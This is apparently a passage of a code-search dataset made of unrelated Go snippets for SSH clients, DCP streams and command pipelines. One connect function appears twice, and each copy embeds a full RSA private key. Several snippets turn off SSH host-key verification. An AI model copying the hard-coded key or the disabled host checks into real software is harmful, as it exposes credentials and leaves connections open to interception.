binary.BigEndian.Uint32(resp.Value[12:])\n\t\t\t\tevtHandler.DeleteCollection(seqNo, version, vbId, manifestUid, scopeId, collectionId, streamId)\n\t\t\tcase StreamEventCollectionFlush:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tevtHandler.FlushCollection(seqNo, version, vbId, manifestUid, collectionId)\n\t\t\tcase StreamEventScopeCreate:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tevtHandler.CreateScope(seqNo, version, vbId, manifestUid, scopeId, streamId, resp.Key)\n\t\t\tcase StreamEventScopeDelete:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tevtHandler.DeleteScope(seqNo, version, vbId, manifestUid, scopeId, streamId)\n\t\t\tcase StreamEventCollectionChanged:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tttl := binary.BigEndian.Uint32(resp.Value[12:])\n\t\t\t\tevtHandler.ModifyCollection(seqNo, version, vbId, manifestUid, collectionId, ttl, streamId)\n\t\t\t}\n\t\tcase cmdDcpStreamEnd:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tcode := streamEndStatus(binary.BigEndian.Uint32(resp.Extras[0:]))\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.End(vbId, streamId, getStreamEndError(code))\n\t\t\treq.Cancel()\n\t\t}\n\t}\n\n\textraBuf := make([]byte, 48)\n\tbinary.BigEndian.PutUint32(extraBuf[0:], uint32(flags))\n\tbinary.BigEndian.PutUint32(extraBuf[4:], 0)\n\tbinary.BigEndian.PutUint64(extraBuf[8:], uint64(startSeqNo))\n\tbinary.BigEndian.PutUint64(extraBuf[16:], uint64(endSeqNo))\n\tbinary.BigEndian.PutUint64(extraBuf[24:], uint64(vbUuid))\n\tbinary.BigEndian.PutUint64(extraBuf[32:], uint64(snapStartSeqNo))\n\tbinary.BigEndian.PutUint64(extraBuf[40:], uint64(snapEndSeqNo))\n\n\tvar val []byte\n\tval = nil\n\tif filter != nil {\n\t\tconvertedFilter := streamFilter{}\n\t\tfor _, cid := range filter.Collections {\n\t\t\tconvertedFilter.Collections = append(convertedFilter.Collections, fmt.Sprintf(\"%x\", cid))\n\t\t}\n\t\tif filter.Scope != noScopeId {\n\t\t\tconvertedFilter.Scope = fmt.Sprintf(\"%x\", filter.Scope)\n\t\t}\n\t\tif filter.ManifestUid != noManifestUid {\n\t\t\tconvertedFilter.ManifestUid = fmt.Sprintf(\"%x\", filter.ManifestUid)\n\t\t}\n\t\tif filter.StreamId != noStreamId {\n\t\t\tconvertedFilter.StreamId = filter.StreamId\n\t\t}\n\t\tvar err error\n\t\tval, err = json.Marshal(convertedFilter)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treq = &memdQRequest{\n\t\tmemdPacket: memdPacket{\n\t\t\tMagic: reqMagic,\n\t\t\tOpcode: cmdDcpStreamReq,\n\t\t\tDatatype: 0,\n\t\t\tCas: 0,\n\t\t\tExtras: extraBuf,\n\t\t\tKey: nil,\n\t\t\tValue: val,\n\t\t\tVbucket: vbId,\n\t\t},\n\t\tCallback: handler,\n\t\tReplicaIdx: 0,\n\t\tPersistent: true,\n\t}\n\treturn agent.dispatchOp(req)\n}","func ConnectSSH(ip string) (*goph.Client, error) {\n\t// gets private ssh key\n\thome, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdir := home + \"/.ssh/id_rsa\"\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Printf(\"Type password of ssh key:\")\n\tpass, err := reader.ReadString('\\n')\n\tpass = strings.Trim(pass, \"\\n\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// gets an auth method goph.Auth for handling the connection request\n\tauth, err := goph.Key(dir, pass)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// asks for a new ssh connection returning the client for SSH\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: \"root\",\n\t\tAddr: ip,\n\t\tPort: 22,\n\t\tAuth: auth,\n\t\tCallback: VerifyHost, //HostCallBack custom (appends host to known_host if not exists)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}","func (s *Ssh) Connect() (*ssh.Client, error) {\n\tdialString := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\tlogger.Yellow(\"ssh\", \"Connecting to %s as %s\", dialString, s.Username)\n\n\t// We have to call PublicKey() to make sure signer is initialized\n\tPublicKey()\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\tclient, err := ssh.Dial(\"tcp\", dialString, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn client, nil\n}","func connectPipeline(commandList []exec.Cmd) error {\n\tvar err error\n\n\tfor i := range commandList {\n\t\tif i == len(commandList)-1 {\n\t\t\tbreak\n\t\t}\n\t\tif commandList[i+1].Stdin != nil || commandList[i].Stdout != nil {\n\t\t\treturn errors.New(\"Ambiguous input for file redirection and pipe\")\n\t\t}\n\t\tcommandList[i+1].Stdin, err = commandList[i].StdoutPipe()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif commandList[0].Stdin == nil {\n\t\tcommandList[0].Stdin = os.Stdin\n\t}\n\tif commandList[len(commandList)-1].Stdout == nil {\n\t\tcommandList[len(commandList)-1].Stdout = os.Stdout\n\t}\n\treturn nil\n}","func (ss *sessionState) OnConnect(ctx context.Context, stream tunnel.Stream) (tunnel.Endpoint, error) {\n\tid := stream.ID()\n\tss.Lock()\n\tabp, ok := ss.awaitingBidiPipeMap[id]\n\tif ok {\n\t\tdelete(ss.awaitingBidiPipeMap, id)\n\t}\n\tss.Unlock()\n\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\tdlog.Debugf(ctx, \" FWD %s, connect session %s with %s\", id, abp.stream.SessionID(), stream.SessionID())\n\tbidiPipe := tunnel.NewBidiPipe(abp.stream, stream)\n\tbidiPipe.Start(ctx)\n\n\tdefer close(abp.bidiPipeCh)\n\tselect {\n\tcase <-ss.done:\n\t\treturn nil, status.Error(codes.Canceled, \"session cancelled\")\n\tcase abp.bidiPipeCh <- bidiPipe:\n\t\treturn bidiPipe, nil\n\t}\n}","func NewCmdGetStream(commonOpts *opts.CommonOptions) *cobra.Command {\n\toptions := &GetStreamOptions{\n\t\tGetOptions: GetOptions{\n\t\t\tCommonOptions: commonOpts,\n\t\t},\n\t}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"stream\",\n\t\tShort: \"Displays the version of a chart, package or docker image from the Version Stream\",\n\t\tLong: getStreamLong,\n\t\tExample: getStreamExample,\n\t\tAliases: []string{\"url\"},\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\toptions.Cmd = cmd\n\t\t\toptions.Args = args\n\t\t\terr := options.Run()\n\t\t\thelper.CheckErr(err)\n\t\t},\n\t}\n\tcmd.Flags().StringVarP(&options.Kind, \"kind\", \"k\", \"docker\", \"The kind of version. Possible values: \"+strings.Join(versionstream.KindStrings, \", \"))\n\tcmd.Flags().StringVarP(&options.VersionsRepository, \"repo\", \"r\", \"\", \"Jenkins X versions Git repo\")\n\tcmd.Flags().StringVarP(&options.VersionsGitRef, \"versions-ref\", \"\", \"\", \"Jenkins X versions Git repository reference (tag, branch, sha etc)\")\n\treturn cmd\n}","func init() {\n\tcmd := cli.Command{\n\t\tName: \"ssh\",\n\t\tUsage: \"create and manage ssh certificates\",\n\t\tUsageText: \"step ssh [arguments] [global-flags] [subcommand-flags]\",\n\t\tDescription: `**step ssh** command group provides facilities to sign SSH certificates.\n\n## EXAMPLES\n\nGenerate a new SSH key pair and user certificate:\n'''\n$ step ssh certificate joe@work id_ecdsa\n'''\n\nGenerate a new SSH key pair and host certificate:\n'''\n$ step ssh certificate --host internal.example.com ssh_host_ecdsa_key\n'''\n\nAdd a new user certificate to the agent:\n'''\n$ step ssh login joe@example.com\n'''\n\nRemove a certificate from the agent:\n'''\n$ step ssh logout joe@example.com\n'''\n\nList all keys in the agent:\n'''\n$ step ssh list\n'''\n\nConfigure a user environment with the SSH templates:\n'''\n$ step ssh config\n'''\n\nInspect an ssh certificate file:\n'''\n$ step ssh inspect id_ecdsa-cert.pub\n'''\n\nInspect an ssh certificate in the agent:\n'''\n$ step ssh list --raw joe@example.com | step ssh inspect\n'''\n\nList all the hosts you have access to:\n'''\n$ step ssh hosts\n'''\n\nLogin into one host:\n'''\n$ ssh internal.example.com\n'''`,\n\t\tSubcommands: cli.Commands{\n\t\t\tcertificateCommand(),\n\t\t\tcheckHostCommand(),\n\t\t\tconfigCommand(),\n\t\t\tfingerPrintCommand(),\n\t\t\thostsCommand(),\n\t\t\tinspectCommand(),\n\t\t\tlistCommand(),\n\t\t\tloginCommand(),\n\t\t\tlogoutCommand(),\n\t\t\tneedsRenewalCommand(),\n\t\t\t// proxyCommand(),\n\t\t\tproxycommandCommand(),\n\t\t\trekeyCommand(),\n\t\t\trenewCommand(),\n\t\t\trevokeCommand(),\n\t\t},\n\t}\n\n\tcommand.Register(cmd)\n}","func newOpenCTRLStr(channel string) *Instruction {\n\treturn &Instruction{\n\t\tType: OpenCTRLStrInst,\n\t\tName: \"OpenCTRLStream\",\n\t\tChannel: channel,\n\t}\n}","func handleDirectTcp(newChannel ssh.NewChannel, ca *ConnectionAlert) {\n\t//pp(\"handleDirectTcp called!\")\n\n\tp := &channelOpenDirectMsg{}\n\tssh.Unmarshal(newChannel.ExtraData(), p)\n\ttargetAddr := fmt.Sprintf(\"%s:%d\", p.Rhost, p.Rport)\n\tlog.Printf(\"direct-tcpip got channelOpenDirectMsg request to destination %s\",\n\t\ttargetAddr)\n\n\tchannel, req, err := newChannel.Accept() // (Channel, <-chan *Request, error)\n\tpanicOn(err)\n\tgo ssh.DiscardRequests(req)\n\n\tgo func(ch ssh.Channel, host string, port uint32) {\n\n\t\tvar targetConn net.Conn\n\t\tvar err error\n\t\taddr := fmt.Sprintf(\"%s:%d\", p.Rhost, p.Rport)\n\t\tswitch port {\n\t\tcase minus2_uint32:\n\t\t\t// unix domain request\n\t\t\tpp(\"direct.go has unix domain forwarding request\")\n\t\t\ttargetConn, err = net.Dial(\"unix\", host)\n\t\tcase 1:\n\t\t\tpp(\"direct.go has port 1 forwarding request. ca = %#v\", ca)\n\t\t\tif ca != nil && ca.PortOne != nil {\n\t\t\t\tpp(\"handleDirectTcp sees a port one request with a live ca.PortOne\")\n\t\t\t\tselect {\n\t\t\t\tcase ca.PortOne <- ch:\n\t\t\t\tcase <-ca.ShutDown:\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpanic(\"wat?\")\n\t\t\tfallthrough\n\t\tdefault:\n\t\t\ttargetConn, err = net.Dial(\"tcp\", targetAddr)\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Printf(\"sshd direct.go could not forward connection to addr: '%s'\", addr)\n\t\t\treturn\n\t\t}\n\t\tlog.Printf(\"sshd direct.go forwarding direct connection to addr: '%s'\", addr)\n\n\t\tsp := newShovelPair(false)\n\t\tsp.Start(targetConn, ch, \"targetBehindSshd<-fromDirectClient\", \"fromDirectClient<-targetBehindSshd\")\n\t}(channel, p.Rhost, p.Rport)\n}","func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}","func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}","func NewStreamClient(ctx context.Context, prot api.Protocol, connection types.ClientConnection, host types.Host) Client {\n\tclient := &client{\n\t\tProtocol: prot,\n\t\tConnection: connection,\n\t\tHost: host,\n\t}\n\n\tif factory, ok := streamFactories[prot]; ok {\n\t\tclient.ClientStreamConnection = factory.CreateClientStream(ctx, connection, client, client)\n\t} else {\n\t\treturn nil\n\t}\n\n\tconnection.AddConnectionEventListener(client)\n\tconnection.FilterManager().AddReadFilter(client)\n\tconnection.SetNoDelay(true)\n\n\treturn client\n}","func newSSH(ip net.IPAddr, port uint16, user string, pass string, key string) *inet.SSH {\n\tvar remoteConn = new(inet.SSH)\n\tremoteConn.Make(ip.String(), strconv.FormatUint(uint64(port), 10), user, pass, key)\n\tglog.Info(\"receiver host: \" + ip.String())\n\treturn remoteConn\n}","func executeCmd(remote_host string) string {\n\treadConfig(\"config\")\n\t//\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t//\tif err != nil {\n\t//\t\tlog.Fatal(err)\n\t//\t}\n\tvar config *ssh.ClientConfig\n\n\tif Conf.Method == \"password\" {\n\t\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\n\t} else if Conf.Method == \"key\" {\n\t\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tlog.Fatal(err)\n\t\t//\t\t}\n\t} else {\n\t\tlog.Fatal(`Please set method \"password\" or \"key\" at configuration file`)\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", remote_host+\":\"+Conf.SshPort, config)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\tif err := session.Run(Conf.Command); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\tfmt.Println(\"\\x1b[31;1m\" + remote_host + \"\\x1b[0m\")\n\treturn b.String()\n}","func (curi *ConnectionURI) dialSSH() (net.Conn, error) {\n\tq := curi.Query()\n\n\tknownHostsPath := q.Get(\"knownhosts\")\n\tif knownHostsPath == \"\" {\n\t\tknownHostsPath = defaultSSHKnownHostsPath\n\t}\n\thostKeyCallback, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh known hosts: %w\", err)\n\t}\n\n\tsshKeyPath := q.Get(\"keyfile\")\n\tif sshKeyPath == \"\" {\n\t\tsshKeyPath = defaultSSHKeyPath\n\t}\n\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh key: %w\", err)\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(sshKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse ssh key: %w\", err)\n\t}\n\n\tusername := curi.User.Username()\n\tif username == \"\" {\n\t\tu, err := user.Current()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusername = u.Name\n\t}\n\n\tcfg := ssh.ClientConfig{\n\t\tUser: username,\n\t\tHostKeyCallback: hostKeyCallback,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t\tTimeout: 2 * time.Second,\n\t}\n\n\tport := curi.Port()\n\tif port == \"\" {\n\t\tport = defaultSSHPort\n\t}\n\n\tsshClient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", curi.Hostname(), port), &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taddress := q.Get(\"socket\")\n\tif address == \"\" {\n\t\taddress = defaultUnixSock\n\t}\n\n\tc, err := sshClient.Dial(\"unix\", address)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to connect to libvirt on the remote host: %w\", err)\n\t}\n\n\treturn c, nil\n}","func (sshClient *SSHClient) Execute(cmdList []string) []string {\n\n\tsession, err := sshClient.connect()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer session.Close()\n\n\tlog.Println(\"Connected.\")\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // 0:disable echo\n\t\tssh.TTY_OP_ISPEED: 14400 * 1024, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400 * 1024, //output speed = 14.4kbaud\n\t}\n\tif err1 := session.RequestPty(\"linux\", 64, 200, modes); err1 != nil {\n\t\tlog.Fatalf(\"request pty error: %s\\n\", err1.Error())\n\t}\n\n\tlog.Println(\"PtyRequested.\")\n\n\tw, err := session.StdinPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr, err := session.StdoutPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\te, err := session.StderrPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tin, out := sshClient.MuxShell(w, r, e)\n\tif err := session.Shell(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t//<-out\n\tsWelcome := <-out\n\tlog.Printf(\"Welcome:%s\\n\", sWelcome) //ignore the shell output\n\n\tvar ret []string\n\n\tfor _, cmd := range cmdList {\n\t\tlog.Printf(\"Exec %v\\n\", cmd)\n\n\t\tin <- cmd\n\n\t\tsOut := <-out\n\t\tlog.Printf(\"Result-%s\\n\", sOut)\n\t\tret = append(ret, sOut)\n\t}\n\n\tin <- sshClient.ExitCmd\n\t_ = <-out\n\tsession.Wait()\n\n\treturn ret\n}"],"string":"[\n \"func ConnectCommand(args []string) string {\\n\\tif len(args) == 0 {\\n\\t\\tlog.Fatal(\\\"At least one argument must be supplied to use this command\\\")\\n\\t}\\n\\n\\tcs := strings.Join(args, \\\" \\\")\\n\\tpn := conf.GetConfig().Tokaido.Project.Name + \\\".tok\\\"\\n\\n\\tr, err := utils.CommandSubSplitOutput(\\\"ssh\\\", []string{\\\"-q\\\", \\\"-o UserKnownHostsFile=/dev/null\\\", \\\"-o StrictHostKeyChecking=no\\\", pn, \\\"-C\\\", cs}...)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tutils.DebugString(r)\\n\\n\\treturn r\\n}\",\n \"func ConnectCommandOutput(args []string) string {\\n\\tif len(args) == 0 {\\n\\t\\tlog.Fatal(\\\"At least one argument must be supplied to use this command\\\")\\n\\t}\\n\\n\\tcs := strings.Join(args, \\\" \\\")\\n\\tpn := conf.GetConfig().Tokaido.Project.Name + \\\".tok\\\"\\n\\n\\tr := utils.CommandSubstitution(\\\"ssh\\\", []string{\\\"-q\\\", \\\"-o UserKnownHostsFile=/dev/null\\\", \\\"-o StrictHostKeyChecking=no\\\", pn, \\\"-C\\\", cs}...)\\n\\n\\tutils.DebugString(r)\\n\\n\\treturn r\\n}\",\n \"func SshConnect(user, password, host string, port int) (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t\\taddr string\\n\\t)\\n\\t// get auth method\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\tauth = append(auth, ssh.Password(password))\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t}\\n\\n\\t// connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func sshconnect(n *Node) (*ssh.Session, error) {\\n\\tuser := n.UserName\\n\\thost := n.Addr\\n\\tport := 22\\n\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\n\\t// Get auth method\\n\\tif n.AuthMethod == \\\"privateKey\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\\n\\t} else if n.AuthMethod == \\\"password\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, ssh.Password(n.Password))\\n\\t}\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\t// connet to ssh\\n\\taddr = 